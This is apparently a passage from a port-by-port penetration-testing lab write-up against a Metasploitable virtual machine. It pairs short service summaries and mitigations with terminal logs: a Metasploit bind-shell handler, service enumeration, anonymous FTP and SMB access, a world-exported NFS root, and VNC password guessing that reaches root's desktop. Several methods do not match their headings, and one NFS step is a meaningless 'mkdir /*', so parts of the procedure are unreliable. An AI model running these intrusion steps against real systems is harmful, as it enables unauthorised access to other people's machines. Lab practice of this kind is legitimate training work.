msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(multi/handler) > set rhost 192.168.1.3
rhost => 192.168.1.3
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.1.3:4444
```

## 2. Encrypted Bind Shell

```
(riyaa@kali)-[~]
$ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
.....+-----+.
.....+.+++++
.....+-----+.
.....+-----+.
.....+-----+.
.....+.
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
Country Name (2 letter code) [AU]:IN
```

# Port 514 - Tcpwrapped :

## Service Overview

TCPWrapped indicates that a service is protected by TCP Wrappers and closes connections from unauthorized hosts.

## Potential Attack Techniques

- Access control bypass (misconfiguration)
- IP spoofing

## Commonly Used Tools

- Nmap
- Netcat

## Security Impact

- Unauthorized service access if improperly configured

## Risk Level

**Severity:** Medium

## Mitigation Measures

- Proper hosts.allow / hosts.deny configuration
- Restrict access to trusted IPs

## Method

### 1. TCP Wrappers Access Control Bypass

```
(riyaa@kali)-[~]
$ nmap -p 21,22,23 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 21:36 IST
Nmap scan report for 192.168.1.3
Host is up (0.0038s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds

(riyaa@kali)-[~]
$ nmap -sV -p 22 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 21:37 IST
Nmap scan report for 192.168.1.3
Host is up (0.0025s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.48 seconds
```

### 2. Wrapped Service Unauthorized Access



```

(riyaa@kali)-[~]
$ nmap -p 22 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 21:40 IST
Nmap scan report for 192.168.1.3
Host is up (0.0021s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds

(riyaa@kali)-[~]
$ nmap -sV -p 22 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 21:40 IST
Nmap scan report for 192.168.1.3
Host is up (0.0026s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds

(riyaa@kali)-[~]
$ nmap -p 21 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 21:41 IST
Nmap scan report for 192.168.1.3
Host is up (0.0011s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

(riyaa@kali)-[~]
$ ftp 192.168.1.3
Connected to 192.168.1.3.
220 (vsFTPd 2.3.4)
Name (192.168.1.3:riyaa): 

```

## Port 139/445 - netbios-ssn :

### Service Overview

SMB is used for file sharing and printer services.

### Potential Attack Techniques

- Null session attack
- SMB enumeration
- Password cracking

### Commonly Used Tools

- enum4linux
- smbclient
- Metasploit

### Security Impact

- Data leakage
- Remote command execution

### Risk Level

**Severity:** Critical

### Known Vulnerability

- Samba misconfigurations

## Mitigation Measures

- Disable SMB if unused
- Apply patches
- Restrict shares

## Method

### 1. NetBIOS Session Enumeration

```
(riyaa@kali)-[~]
$ nmap -p 139 --script nbstat 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 22:00 IST
Nmap scan report for 192.168.1.3
Host is up (0.0023s latency).

PORT      STATE SERVICE
139/tcp   open  netbios-ssn
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Host script results:
| nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   METASPLOITABLE<00>  Flags: <unique><active>
|   METASPLOITABLE<03>  Flags: <unique><active>
|   METASPLOITABLE<20>  Flags: <unique><active>
|   \x01\x02_MSBROWSE_\x02<01>  Flags: <group><active>
|   WORKGROUP<00>      Flags: <group><active>
|   WORKGROUP<1d>      Flags: <unique><active>
|_  WORKGROUP<1e>      Flags: <group><active>

Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds

(riyaa@kali)-[~]
$ nbtscan 192.168.1.3
Doing NBT name scan for addresses from 192.168.1.3

IP address      NetBIOS Name    Server    User          MAC address
-----
192.168.1.3     METASPLOITABLE  <server>  METASPLOITABLE  00:00:00:00:00:00
```

### 2. NetBIOS Authentication Capture

```
(riyaa@kali)-[~]
$ nbtscan 192.168.1.3
Doing NBT name scan for addresses from 192.168.1.3

IP address      NetBIOS Name    Server    User          MAC address
-----
192.168.1.3     METASPLOITABLE  <server>  METASPLOITABLE  00:00:00:00:00:00

(riyaa@kali)-[~]
$ smbclient -L //192.168.1.3 -N
Anonymous login successful

Sharename      Type      Comment
-----
print$         Disk      Printer Drivers
tmp            Disk      oh noes!
opt            Disk
IPC$           IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$         IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

Server          Comment
-----
Workgroup       Master
WORKGROUP      METASPLOITABLE

(riyaa@kali)-[~]
$ ls
172.16.225.128  192.168.1.3  cert.pem  Desktop  dir  Documents  Downloads  hydra.restore  index.html  key.pem  Musi
```

## Port 512/513/514 - Login :

### Service Overview

Login (rlogin) is a remote login service that allows users to access another system without encryption.

## Potential Attack Techniques

- Trust relationship abuse
- Unauthorized login
- Credential sniffing

## Commonly Used Tools

- rlogin
- Nmap

## Security Impact

- Unauthorized system access
- Credential exposure

## Risk Level

**Severity:** Critical

## Mitigation Measures

- Disable rlogin service
- Use SSH instead

## Method

### Default Credentials Attack

```
(riyaa@kali)-[~]
$ nmap -p 22 -sV 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 20:04 IST
Nmap scan report for 192.168.1.3
Host is up (0.00074s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds

(riyaa@kali)-[~]
$ ftp 192.168.1.3
Connected to 192.168.1.3.
220 (vsFTPD 2.3.4)
Name (192.168.1.3:riyaa): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

## Port 111 - Rpcbind :

### Service Overview

RPCBind maps RPC services to ports.

## Potential Attack Techniques

- RPC enumeration
- Service abuse

## Commonly Used Tools

- rpcinfo
- Nmap

## Security Impact

- Service discovery
- Further exploitation

## Risk Level

**Severity:** Medium

## Mitigation Measures

- Restrict RPC access
- Firewall rules

## Method

### RPC Service Enumeration

```
(riyaa@kali)-[~]
$ nmap -p 111 -sV 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 19:55 IST
Nmap scan report for 192.168.1.3
Host is up (0.0019s latency).

PORT      STATE SERVICE VERSION
111/tcp   open  rpcbind 2 (RPC #100000)
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.36 seconds

(riyaa@kali)-[~]
$ rpcinfo -p 192.168.1.3
program vers proto port  service
100000    2      tcp    111   portmapper
100000    2      udp    111   portmapper
100024    1      udp    39036 status
100024    1      tcp    43133 status
100003    2      udp    2049  nfs
100003    3      udp    2049  nfs
100003    4      udp    2049  nfs
100021    1      udp    35586 nlockmgr
100021    3      udp    35586 nlockmgr
100021    4      udp    35586 nlockmgr
100003    2      tcp    2049  nfs
100003    3      tcp    2049  nfs
100003    4      tcp    2049  nfs
100021    1      tcp    50273 nlockmgr
100021    3      tcp    50273 nlockmgr
100021    4      tcp    50273 nlockmgr
100005    1      udp    39951 mountd
100005    1      tcp    44324 mountd
100005    2      udp    39951 mountd
100005    2      tcp    44324 mountd
100005    3      udp    39951 mountd
100005    3      tcp    44324 mountd

(riyaa@kali)-[~]
$ nmap -p 111 --script rpcinfo 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 19:56 IST
Nmap scan report for 192.168.1.3
Host is up (0.0017s latency).

PORT      STATE SERVICE
111/tcp   open  rpcbind
| rpcinfo:
```

```
(riyaa@kali)-[~]
$ nmap -p 111 --script rpcinfo 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 19:56 IST
Nmap scan report for 192.168.1.3
Host is up (0.0017s latency).

PORT      STATE SERVICE
111/tcp   open  rpcbind
| rpcinfo:
| program version  port/proto  service
| 100000  2          111/tcp     rpcbind
| 100000  2          111/udp     rpcbind
| 100003  2,3,4      2049/tcp   nfs
| 100003  2,3,4      2049/udp   nfs
| 100005  1,2,3      39951/udp  mountd
| 100005  1,2,3      44324/tcp  mountd
| 100021  1,3,4      35586/udp  nlockmgr
| 100021  1,3,4      50273/tcp  nlockmgr
| 100024  1          39036/udp  status
|_ 100024  1          43133/tcp  status
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds

(riyaa@kali)-[~]
$ rpcbind -s 192.168.1.3
rpcbind: /run/rpcbind.lock: Permission denied

(riyaa@kali)-[~]
$ rpcinfo -s 192.168.1.3
program version(s) netid(s)          service  owner
100000  2          udp,tcp    portmapper unknown
100024  1          tcp,udp    status    unknown
100003  4,3,2      tcp,udp    nfs       unknown
100021  4,3,1      tcp,udp    nlockmgr  unknown
100005  3,2,1      tcp,udp    mountd    unknown
```

## Port 2049 - Nfs :

### Service Overview

NFS allows file sharing between systems.

### Potential Attack Techniques

- Anonymous NFS mount
- File permission abuse

### Commonly Used Tools

- showmount
- mount

### Security Impact

- Sensitive data exposure

### Risk Level

Severity: High

### Mitigation Measures

- Restrict exports
- Use authentication

### Method

1. Anonymous NFS Mount



```

(riyaa@kali)-[~]
$ nmap -p 2049 -sV 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 19:46 IST
Nmap scan report for 192.168.1.3
Host is up (0.0016s latency).

PORT      STATE SERVICE VERSION
2049/tcp  open  nfs      2-4 (RPC #100003)
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.45 seconds

(riyaa@kali)-[~]
$ showmount -e 192.168.1.3
Export list for 192.168.1.3:
/ *

```

## 2. Insecure NFS Export

```

(riyaa@kali)-[~]
$ nmap -p 2049 -sV 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 19:49 IST
Nmap scan report for 192.168.1.3
Host is up (0.0011s latency).

PORT      STATE SERVICE VERSION
2049/tcp  open  nfs      2-4 (RPC #100003)
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.43 seconds

(riyaa@kali)-[~]
$ showmount -e 192.168.1.3
Export list for 192.168.1.3:
/ *

(riyaa@kali)-[~]
$ mkdir /*
mkdir: cannot create directory '/bin': File exists
mkdir: cannot create directory '/boot': File exists
mkdir: cannot create directory '/dev': File exists
mkdir: cannot create directory '/etc': File exists
mkdir: cannot create directory '/home': File exists
mkdir: cannot create directory '/initrd.img': File exists
mkdir: cannot create directory '/initrd.img.old': File exists
mkdir: cannot create directory '/lib': File exists
mkdir: cannot create directory '/lib32': File exists
mkdir: cannot create directory '/lib64': File exists

```

## Port 5900 - VNC :

### Service Overview

VNC allows remote desktop access.

### Potential Attack Techniques

- No authentication access
- Weak password attack

### Commonly Used Tools

- vncviewer
- Metasploit

### Security Impact

- GUI access
- System control

### Risk Level

**Severity: High**

## Mitigation Measures

- Enable authentication
- Use VPN

## Method

### 1. Anonymous VNC Access

```
(riyaa@kali)-[~]
$ vncviewer 192.168.1.3:0
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
```

### 2. VNC Default Credentials

```
(riyaa@kali)-[~]
$ nmap -p 5900 -sV 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 19:33 IST
Nmap scan report for 192.168.1.3
Host is up (0.0025s latency).

PORT      STATE SERVICE VERSION
5900/tcp  open  vnc      VNC (protocol 3.3)
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds

(riyaa@kali)-[~]
$ nmap -p 5900 --script vnc-info 192.168.1.3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-31 19:34 IST
Nmap scan report for 192.168.1.3
Host is up (0.0017s latency).

PORT      STATE SERVICE
5900/tcp  open  vnc
| vnc-info:
|   Protocol version: 3.3
|   Security types:
|_    VNC Authentication (2)
MAC Address: 08:00:27:FE:EA:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds

(riyaa@kali)-[~]
$ vncviewer 192.168.1.3
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
```

### 3. VNC Weak Password Attack

```
(riyaa@kali)-[~]
$ vncviewer 192.168.1.3
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication failure

(riyaa@kali)-[~]
$ vncviewer 192.168.1.3
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication failure

(riyaa@kali)-[~]
$ vncviewer 192.168.1.3
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication failure

(riyaa@kali)-[~]
$ vncviewer 192.168.1.3
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
Authentication successful
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
```